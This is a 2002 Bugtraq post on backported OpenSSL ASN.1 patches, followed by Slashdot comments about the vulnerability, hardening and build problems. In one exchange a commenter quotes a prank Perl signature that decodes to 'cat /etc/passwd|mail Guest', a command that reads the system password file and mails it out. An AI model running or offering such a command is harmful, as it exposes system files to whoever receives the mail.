Patches also available in http://www.ademar.org/misc/openssl-patches for the ones who haven't access to bugtraq or openssl-{devel,users}.

Date: Tue, 30 Jul 2002 14:42:12 -0300
From: "Ademar de Souza Reis Jr." <ademar@conectiva.com.br>
Subject: Re: OpenSSL patches for other versions
To: Bugtraq <BUGTRAQ@SECURITYFOCUS.COM>
Cc: Ben Laurie <ben@algroup.co.uk>,
OpenSSL Announce <openssl-announce@openssl.org>,
OpenSSL Dev <openssl-dev@openssl.org>, openssl-users@openssl.org
X-Url: http://www.ademar.org/

[-- Attachment #1 --]
[-- Type: text/plain, Encoding: 7bit, Size: 1.0K --]

On Tue, Jul 30, 2002 at 11:15:00AM +0100, Ben Laurie wrote:
> Enclosed are patches for today's OpenSSL security alert which apply to
> other versions. The patch for 0.9.7 is supplied by Ben Laurie
> <ben@algroup.co.uk> and the remainder by Vincent Danen (email not
> supplied).
>
> Patches are for 0.9.5a, 0.9.6 (use 0.9.6b patch), 0.9.6b, 0.9.6c, 0.9.7-dev.
>
> These patches are known to apply correctly but have not been
> thoroughly tested.

Hello.

While checking the patches you sent I noticed that in the ones for
openssh < 0.9.7-dev, the ASN.1 fix is not present (several checks in
crypto/asn1/asn1_lib.c).

So I backported the fixes based on 0.9.7-dev and in a patch for 0.9.6d sent
by Ben Laurie to openssl-team@openssl.org on July27 (subject: Final
version?).

Patches for 0.9.5a, 0.9.6a and 0.9.6b including fix for ASN.1 vulns attached.
They're not well tested yet - after sucessful compilation.

Cheers.
- Ademar

It's not a warez site its a newsgroup

[Anonymous Coward]

with stuff uploaded. And i'm far too lazy to mess with the stuff. I primarily posted it there so I could find it when i get home!

Re:Pie?

[Anonymous Coward]

WARNING: goatse link above!!!!! do not click!!!

Re:another victory for Open Source!

[orthogonal]

I always reserve Good Friday for an "upgrade" to the latest Linux

Hmm.

Good Friday? Oh, isn't that the day they nailed, er, soldered Linus Torvald to a motherboard?

Re:another victory for Open Source!

[orthogonal]

With Microsoft and most other vendors you get the notice & fix at the same time. If not, then they tend to provide a workaround

What, exactly, is the "workaround" for a buffer overrun?

Heading my SSL index.html page with
"Please Mr. H4x0r, don't send me strings longer than 512 bytes"?

Once again, paranoia pays off.

[Nonesuch]

To all the people who said I was being too paranoid in running statically-linked 'stunnel' chrooted to an otherwise empty (no /bin/sh, etc) subdirectory, containing only the client public keys...

I told you so.

To the guy who said that my running SSHd behind stunnel to protect from SSH bugs (such as the recent OpenSSH advisory) was not paranoid enough:

You were right, I wasn't paranoid enough

Time to wrap everything in IPSEC, then wait for a new hole in that?

Re:Once again, paranoia pays off.

[Anonymous Coward]

Unless you were just cracked due to this vulnerability, your paranoia didn't pay off. Get over the fact that there's an exploit and accept the fact that the only people would care to break into your server are script kiddies with nothing better to do.

pain... bloody... arse... GOATSE.CX!

[Anonymous Coward]

Anyone care to sched some light upon t_pkey.c?

[Anonymous Coward]

I've been wondering what this file is good for and what it does. You'll find it at crypto/asn1/t_pkey.c

Who needs these uncoditionally enabled (ie. no #if DEBUG) functions to print ones p,q prime factors and some more details about private keys; using some installable (ie. callback) BIO_printf functions? Who is installing these callback functions and when?

Thanks in advance,
ciao pm

pod2man in Perl 5.6.1 rejected in openssl install

[wytcld]

openssl-0.9.6e (unlike d) goes through an almost endless sequence of refusing to install its man pages because it doesn't like the way the Perl 5.6.1 (also known as "stable") runs its Pod::Man module. Does anyone have a workaround that doesn't involve installing Perl 5.8.0 (not yet promoted to "stable" by the Perl folks)? Heck, does that even work, or are the openssl folks trying to force a downgrade of Perl? CPAN doesn't offer an obvious solution.

I don't really imagine we need the man pages, but putting a dependency like this in the openssl source is thoughtless - right when we're trying to have confidence in the crew there.
___

Older makefile code avoids the problem

[wytcld]

Replacing the install_docs part of the Makefile with the version from 0.9.6c fixes the problem. I'd quote it here but that violates /.'s "postercomment" compression filter. Anyway, it installs the docs just fine.
___

This is bad news. Waah

[roly]

I only just compiled OpenSSL 0.9.6d on a RH6.2 box about 12 hours ago! Time to update and re-compile OpenSSH :(

On the upside...

[Goonie]

C has one very good feature for writing secure software, namely that it's comparatively easy to figure out exactly what your program is doing, compared to C++ (where simply creating an automatic variable can invoke all sorts of constructor weirdness), let alone interpreted languages.

Talking to a guy who writes security software based on OpenBSD (and works on OpenBSD in his spare time), that's why he preferred to use C (in very small programs, containing only the bits of code that absolutely had to run as root and using some form of interprocess communication to talk to the bells-and-whistles provision daemon) for security-critical daemons.

BASTARD! Thanks for your fucking criminal sig.

[mattr]

This really pisses me off since your username is close to mine. Your sig works out obviously to the string "cat /etc/passwd|mail Guest" which is then executed as a shell command, sending an insecure password file to some supposedly insecure mail account. (No I didn't execute it, and I run shadowed. Duh.)

I wonder if you are the same matts as on perlmonks.org. I am the same mattr. How annoying.

I'll thank you to remove that sig. Now, please. It's not funny to lay a pipe bomb and a box of matches on the curb; some people have a death wish and you are just helping them along.

Re:[expl]! Thanks for your [expl] criminal sig.

[Mr_Perl]

Heh, one word describes you my friend, and that word is "git"

1. My sig mails you your own passwd file. Were you even in 'first grade perl' you could figure that out. Maybe you can actually read Perlmonks instead of just being a groupie there. It makes a point that idiots like you shouldn't blindly exec perl one-lineers off slashdot sigs. See my profile for an actual nasty version and more info.

2. If your english skills are soo poor that you can't differentiate from "Mr_Perl" and "mattr" I really wonder how you managed those 3 paragraphs.

Re:[expl]! Thanks for your [expl] criminal sig.

[mattr]

A. Idiot. I didn't execute it, as I said. And the post I saw was signed "matts" who is on Perlmonks, not "Mr_Perl". Conceivably I could have seen his name on a post above or below yours, and not yours by accident. But thanks for owning up to it, "Mr. Perl". I do Perl programming for a living and am not half bad at it, what's your excuse? Silly kiddie.

B. It didn't require too much sweat to discover your lame-ass justification for your stupid (and criminal FWIW) sig. As it is there is little danger of anyone executing your sig, and all I have to do is wait a couple years or more until you get older and some similar stupidity blows up magnificently in your pinched egotistical face. Have a nice life (unlikely).